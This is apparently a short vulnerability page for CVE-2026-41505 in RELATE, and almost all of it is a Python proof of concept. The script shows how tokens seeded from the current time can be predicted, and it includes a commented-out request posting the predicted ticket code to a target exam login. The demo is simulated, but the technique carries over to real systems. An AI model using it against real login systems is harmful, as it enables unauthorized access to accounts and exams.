CVE-2026-41505: RELATE可预测令牌生成漏洞

# Proof of Concept for CVE-2026-41505 # This script demonstrates the concept of predicting tokens # based on weak random number generation. import random # Simulate the vulnerable token generation logic # Assuming the vulnerable code used random.seed(time.time()) import time def vulnerable_gen_ticket_code(): # Hypothetical vulnerable implementation random.seed(int(time.time())) return ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(10)]) def exploit_predict_token(): # 1. Attacker observes a token generated at a specific time # For simulation, we generate a token now current_time = int(time.time()) # Recreate the seed random.seed(current_time) # Predict the token predicted_token = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(10)]) print(f"[+] Current Timestamp: {current_time}") print(f"[+] Predicted Token: {predicted_token}") # 2. Attacker uses the predicted token to authenticate # requests.post('http://target/exam/login', data={'ticket_code': predicted_token}) print("[+] Sending predicted token to target system...") if __name__ == "__main__": exploit_predict_token()
